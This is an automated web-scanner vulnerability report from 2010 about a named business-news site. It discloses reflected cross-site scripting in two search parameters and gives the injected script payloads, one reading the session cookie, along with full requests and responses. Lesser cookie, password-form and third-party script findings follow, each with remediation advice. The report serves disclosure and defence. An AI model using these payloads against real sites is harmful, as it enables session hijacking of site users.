www.latinobusinessreview.com | Cross Site Scripting

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.latinobusinessreview.com/ [search_terms parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.latinobusinessreview.com
Path:	/

Issue detail

The value of the search_terms request parameter is copied into the HTML document as plain text between tags. The payload fbca7<script>alert(1)</script>4cc32d1dc65 was submitted in the search_terms parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

POST / HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.latinobusinessreview.com/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.latinobusinessreview.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: SESS717e6a7c30e1d3f87da16da232303f83=290a4443b47104b51a5d6c134ad4c421
Content-Length: 118

search_type=&search_terms=%27%27fbca7<script>alert(1)</script>4cc32d1dc65&op=Search&form_build_id=form-d09a5062a47241f89b2c113270864150&form_id=msm_search_form

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 15:30:09 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.5
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Tue, 14 Dec 2010 15:30:09 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 29548

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="la" lang="la" dir="ltr">

<head>

...[SNIP]...
<span class="icon">Site Search: ''fbca7<script>alert(1)</script>4cc32d1dc65</span>
...[SNIP]...

1.2. http://www.latinobusinessreview.com/site-search [keys parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.latinobusinessreview.com
Path:	/site-search

Issue detail

The value of the keys request parameter is copied into the HTML document as plain text between tags. The payload d5f93<script>alert(1)</script>04de88e657b was submitted in the keys parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /site-search?type=All&keys=%27%27d5f93<script>alert(1)</script>04de88e657b HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.latinobusinessreview.com/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.latinobusinessreview.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: SESS717e6a7c30e1d3f87da16da232303f83=290a4443b47104b51a5d6c134ad4c421

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 15:29:57 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.5
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Tue, 14 Dec 2010 15:29:57 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 29544

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="la" lang="la" dir="ltr">

<head>

...[SNIP]...
<span class="icon">Site Search: ''d5f93<script>alert(1)</script>04de88e657b</span>
...[SNIP]...

2. Cleartext submission of password previous next
There are 2 instances of this issue:

/
/site-search

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

2.1. http://www.latinobusinessreview.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.latinobusinessreview.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.latinobusinessreview.com/

The form contains the following password field:

pass

Request

GET / HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.latinobusinessreview.com

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 15:25:36 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.5
Set-Cookie: SESS717e6a7c30e1d3f87da16da232303f83=136a9b51d89748fd837354b30d13a0cd; path=/; domain=.latinobusinessreview.com
Last-Modified: Tue, 14 Dec 2010 15:08:41 GMT
ETag: "02f8c124c9513a1a6053f09869d9a128"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Content-Type: text/html; charset=utf-8
Content-Length: 80431

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="la" lang="la" dir="ltr">

<head>

...[SNIP]...
<td id="header-top"><form action="/" accept-charset="UTF-8" method="post" id="user-login" class=" compact-form">
<div>
...[SNIP]...
</label>
<input type="password" name="pass" id="edit-pass" maxlength="128" size="60" tabindex="2" class="form-text required" />
<div class="description">
...[SNIP]...

2.2. http://www.latinobusinessreview.com/site-search previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.latinobusinessreview.com
Path:	/site-search

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.latinobusinessreview.com/site-search?type=All&keys=%27%27

The form contains the following password field:

pass

Request

GET /site-search?type=All&keys=%27%27 HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.latinobusinessreview.com/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.latinobusinessreview.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: SESS717e6a7c30e1d3f87da16da232303f83=290a4443b47104b51a5d6c134ad4c421

Response

3. Cookie scoped to parent domain previous next
There are 2 instances of this issue:

/
/site-search

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

3.1. http://www.latinobusinessreview.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.latinobusinessreview.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SESS717e6a7c30e1d3f87da16da232303f83=136a9b51d89748fd837354b30d13a0cd; path=/; domain=.latinobusinessreview.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

3.2. http://www.latinobusinessreview.com/site-search previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.latinobusinessreview.com
Path:	/site-search

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SESS717e6a7c30e1d3f87da16da232303f83=bd0af59e490c0622f807e9c90d948149; path=/; domain=.latinobusinessreview.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /site-search?type=All&keys=%27%27d5f93%3Cscript%3Ealert(1)%3C/script%3E04de88e657b HTTP/1.1
Host: www.latinobusinessreview.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

4. Cookie without HttpOnly flag set previous next
There are 2 instances of this issue:

/
/site-search

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

4.1. http://www.latinobusinessreview.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.latinobusinessreview.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESS717e6a7c30e1d3f87da16da232303f83=136a9b51d89748fd837354b30d13a0cd; path=/; domain=.latinobusinessreview.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

4.2. http://www.latinobusinessreview.com/site-search previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.latinobusinessreview.com
Path:	/site-search

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESS717e6a7c30e1d3f87da16da232303f83=bd0af59e490c0622f807e9c90d948149; path=/; domain=.latinobusinessreview.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5. Password field with autocomplete enabled previous next
There are 4 instances of this issue:

/
/site-search
/site-search
/site-search

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

5.1. http://www.latinobusinessreview.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.latinobusinessreview.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.latinobusinessreview.com/

The form contains the following password field with autocomplete enabled:

pass

Request

Response

5.2. http://www.latinobusinessreview.com/site-search previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.latinobusinessreview.com
Path:	/site-search

Issue detail

The page contains a form with the following action URL:

http://www.latinobusinessreview.com/site-search?type=All&keys=%27%27

The form contains the following password field with autocomplete enabled:

pass

Request

Response

5.3. http://www.latinobusinessreview.com/site-search previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.latinobusinessreview.com
Path:	/site-search

Issue detail

The page contains a form with the following action URL:

http://www.latinobusinessreview.com/site-search?type=All&keys=%27%27d5f93%3Cscript%3Ealert(1)%3C/script%3E04de88e657b

The form contains the following password field with autocomplete enabled:

pass

Request

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 15:37:14 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.5
Set-Cookie: SESS717e6a7c30e1d3f87da16da232303f83=bd0af59e490c0622f807e9c90d948149; path=/; domain=.latinobusinessreview.com
Last-Modified: Tue, 14 Dec 2010 15:33:52 GMT
ETag: "950ed048b606edb82c7025e8f54afbb6"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Content-Type: text/html; charset=utf-8
Content-Length: 29536

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="la" lang="la" dir="ltr">

<head>

...[SNIP]...
<td id="header-top"><form action="/site-search?type=All&keys=%27%27d5f93%3Cscript%3Ealert(1)%3C/script%3E04de88e657b" accept-charset="UTF-8" method="post" id="user-login" class=" compact-form">
<div>
...[SNIP]...
</label>
<input type="password" name="pass" id="edit-pass" maxlength="128" size="60" tabindex="2" class="form-text required" />
<div class="description">
...[SNIP]...

5.4. http://www.latinobusinessreview.com/site-search previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.latinobusinessreview.com
Path:	/site-search

Issue detail

The page contains a form with the following action URL:

http://www.latinobusinessreview.com/site-search?type=All&keys=''d5f93%3Cscript%3Ealert(document.cookie)%3C/script%3E04de88e657b

The form contains the following password field with autocomplete enabled:

pass

Request

GET /site-search?type=All&keys=''d5f93%3Cscript%3Ealert(document.cookie)%3C/script%3E04de88e657b HTTP/1.1
Host: www.latinobusinessreview.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SESS717e6a7c30e1d3f87da16da232303f83=5a4bf9b30a52b7512d8f0d6f007618c7; has_js=1; _bizo_cksm_crc32=AD860768; _bizo_bzid=7f0c6d4e-0cc7-43a1-8a73-7f1dbef97363; BizographicData=H8K%3DA8P%26H8K%3DS8P%26W9G%3DK3G%26I2F%3DI2O%26B0D%3DC9Q%26B0D%3DE8T; _bizo_cksm=907D2F607CBEEA08; __utmz=198098866.1292340849.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=198098866.1753366287.1292340849.1292340849.1292340849.1; __utmc=198098866; __utmb=198098866.1.10.1292340849; _bizo_np_stats=91%3D151%2C160%3D673%2C673%3D998%2C155%3D3735%2C

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 15:39:09 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.5
Last-Modified: Tue, 14 Dec 2010 15:34:22 GMT
ETag: "b4b485189a2f96ae2f9a985da3e60c68"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Content-Type: text/html; charset=utf-8
Content-Length: 29590

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="la" lang="la" dir="ltr">

<head>

...[SNIP]...
<td id="header-top"><form action="/site-search?type=All&keys=''d5f93%3Cscript%3Ealert(document.cookie)%3C/script%3E04de88e657b" accept-charset="UTF-8" method="post" id="user-login" class=" compact-form">
<div>
...[SNIP]...
</label>
<input type="password" name="pass" id="edit-pass" maxlength="128" size="60" tabindex="2" class="form-text required" />
<div class="description">
...[SNIP]...

6. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.latinobusinessreview.com
Path:	/site-search

Issue detail

The page was loaded from a URL containing a query string:

http://www.latinobusinessreview.com/site-search?type=All&keys=%27%27

The response contains the following links to other domains:

http://92.48.64.247/www/delivery/avw.php?zoneid=53&n=5bb42e0
http://92.48.64.247/www/delivery/avw.php?zoneid=55&n=5bb42e0
http://92.48.64.247/www/delivery/ck.php?n=5bb42e0
http://92.48.64.247/www/delivery/spcjs.php?id=11
http://email.bizographics.com/collect/?fmt=gif&pid=721&email=[SHA1_EMAIL_HASH]&rnd=[TIMESTAMP]
http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/2375.jpg
http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/2647.jpg
http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/2690.jpg
http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/2865.jpg
http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/3034.jpg
http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/3167.jpg
http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/3317.jpg
http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/3470.jpg
http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/3626.jpg
http://www.bizographics.com/collect/?pid=721&fmt=gif
http://www.whitedm.com/

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 15:25:42 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.5
Last-Modified: Tue, 14 Dec 2010 15:22:13 GMT
ETag: "98cd2639c9ac247aaa440006a39baee7"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Content-Type: text/html; charset=utf-8
Content-Length: 30472

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="la" lang="la" dir="ltr">

<head>

...[SNIP]...
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script src='http://92.48.64.247/www/delivery/spcjs.php?id=11' type='text/javascript'></script>
...[SNIP]...
<noscript><a target='_blank' href='http://92.48.64.247/www/delivery/ck.php?n=5bb42e0'><img border='0' alt='' src='http://92.48.64.247/www/delivery/avw.php?zoneid=53&n=5bb42e0' /></a>
...[SNIP]...
<a href="javascript:void(0);" onclick="javascript:popupWindow('/magazines/3626');"><img src="http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/3626.jpg" width="135"></a>
...[SNIP]...
<a href="javascript:void(0);" onclick="javascript:popupWindow('/magazines/3470');"><img src="http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/3470.jpg" width="60"> <div class="back-issue-date">
...[SNIP]...
<a href="javascript:void(0);" onclick="javascript:popupWindow('/magazines/3317');"><img src="http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/3317.jpg" width="60"> <div class="back-issue-date">
...[SNIP]...
<a href="javascript:void(0);" onclick="javascript:popupWindow('/magazines/3167');"><img src="http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/3167.jpg" width="60"> <div class="back-issue-date">
...[SNIP]...
<a href="javascript:void(0);" onclick="javascript:popupWindow('/magazines/3034');"><img src="http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/3034.jpg" width="60"> <div class="back-issue-date">
...[SNIP]...
<a href="javascript:void(0);" onclick="javascript:popupWindow('/magazines/2865');"><img src="http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/2865.jpg" width="60"> <div class="back-issue-date">
...[SNIP]...
<a href="javascript:void(0);" onclick="javascript:popupWindow('/magazines/2690');"><img src="http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/2690.jpg" width="60"> <div class="back-issue-date">
...[SNIP]...
<a href="javascript:void(0);" onclick="javascript:popupWindow('/magazines/2647');"><img src="http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/2647.jpg" width="60"> <div class="back-issue-date">
...[SNIP]...
<a href="javascript:void(0);" onclick="javascript:popupWindow('/magazines/2375');"><img src="http://whitedm.clikpages.co.uk/execdigital/coverflow/covers/2375.jpg" width="60"> <div class="back-issue-date">
...[SNIP]...
<noscript><a target='_blank' href='http://92.48.64.247/www/delivery/ck.php?n=5bb42e0'><img border='0' alt='' src='http://92.48.64.247/www/delivery/avw.php?zoneid=55&n=5bb42e0' /></a>
...[SNIP]...
<div id="footer-message">
Copyright 2010 by White Digital Media Group. All rights reserved | <a href="http://www.whitedm.com" target="_blank">www.whitedm.com</a>
...[SNIP]...
<noscript>
<img height="1" width="1" alt="" style="display:none;" src="http://www.bizographics.com/collect/?pid=721&fmt=gif" />
</noscript>
<img src="http://email.bizographics.com/collect/?fmt=gif&pid=721&email=[SHA1_EMAIL_HASH]&rnd=[TIMESTAMP]" alt="" width="1" height="1" />
</div>
...[SNIP]...

7. Cross-domain script include previous next
There are 2 instances of this issue:

/
/site-search

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

7.1. http://www.latinobusinessreview.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.latinobusinessreview.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://92.48.64.247/www/delivery/spcjs.php?id=11

Request

Response

7.2. http://www.latinobusinessreview.com/site-search previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.latinobusinessreview.com
Path:	/site-search

Issue detail

The response dynamically includes the following script from another domain:

http://92.48.64.247/www/delivery/spcjs.php?id=11

Request

Response

8. HTML uses unrecognised charset previous
There are 2 instances of this issue:

/
/site-search

Issue background

Applications may specify a non-standard character set as a result of typographical errors within the code base, or because of intentional usage of an unusual character set that is not universally recognised by browsers. If the browser does not recognise the character set specified by the application, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

8.1. http://www.latinobusinessreview.com/ previous next

Summary

Severity:	Information
Confidence:	Tentative
Host:	http://www.latinobusinessreview.com
Path:	/

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directives were specified:

ISO-8859-1'
utf-8

Request

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 15:25:36 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.5
Set-Cookie: SESS717e6a7c30e1d3f87da16da232303f83=136a9b51d89748fd837354b30d13a0cd; path=/; domain=.latinobusinessreview.com
Last-Modified: Tue, 14 Dec 2010 15:08:41 GMT
ETag: "02f8c124c9513a1a6053f09869d9a128"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Content-Type: text/html; charset=utf-8
Content-Length: 80431

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="la" lang="la" dir="ltr">

<head>

...[SNIP]...
<meta name="revisit-after" content="1 day" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script src='http://92.48.64.247/www/delivery/spcjs.php?id=11' type='text/javascript'>
...[SNIP]...
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="max-age=7200;">
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1' />
<link type="text/css" rel="stylesheet" media="all" href="/sites/all/modules/views/css/views.css?R" />
<link type="text/css" rel="stylesheet" media="all" href="/sites/default/files/css/css_5e4d0e96c2c0a22804e1bab2f22214db.css" />
...[SNIP]...

8.2. http://www.latinobusinessreview.com/site-search previous

Summary

Severity:	Information
Confidence:	Tentative
Host:	http://www.latinobusinessreview.com
Path:	/site-search

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directives were specified:

ISO-8859-1'
utf-8

Request

Response

Report generated by XSS.CX at Tue Dec 14 11:01:44 EST 2010.

www.latinobusinessreview.com | Cross Site Scripting

CAPEC-86 | CWE-79 | 12-14-2010

Contents

Issue background

Issue remediation

Summary

Issue detail

Request

Response (redirected)

Summary

Issue detail

Request

Response

Issue background

Issue remediation

Summary

Issue detail

Request

Response

Summary

Issue detail

Request

Response

Issue background

Issue remediation

Summary

Issue detail

Request

Response

Summary

Issue detail

Request

Response

Issue background

Issue remediation

Summary

Issue detail

Request

Response

Summary

Issue detail

Request

Response

Issue background

Issue remediation

Summary

Issue detail

Request

Response

Summary

Issue detail

Request

Response

Summary

Issue detail

Request

Response

Summary

Issue detail

Request

Response

Summary

Issue detail

Issue background

Issue remediation

Request

Response

Issue background

Issue remediation

Summary

Issue detail

Request

Response

Summary

Issue detail

Request

Response

Issue background

Issue remediation

Summary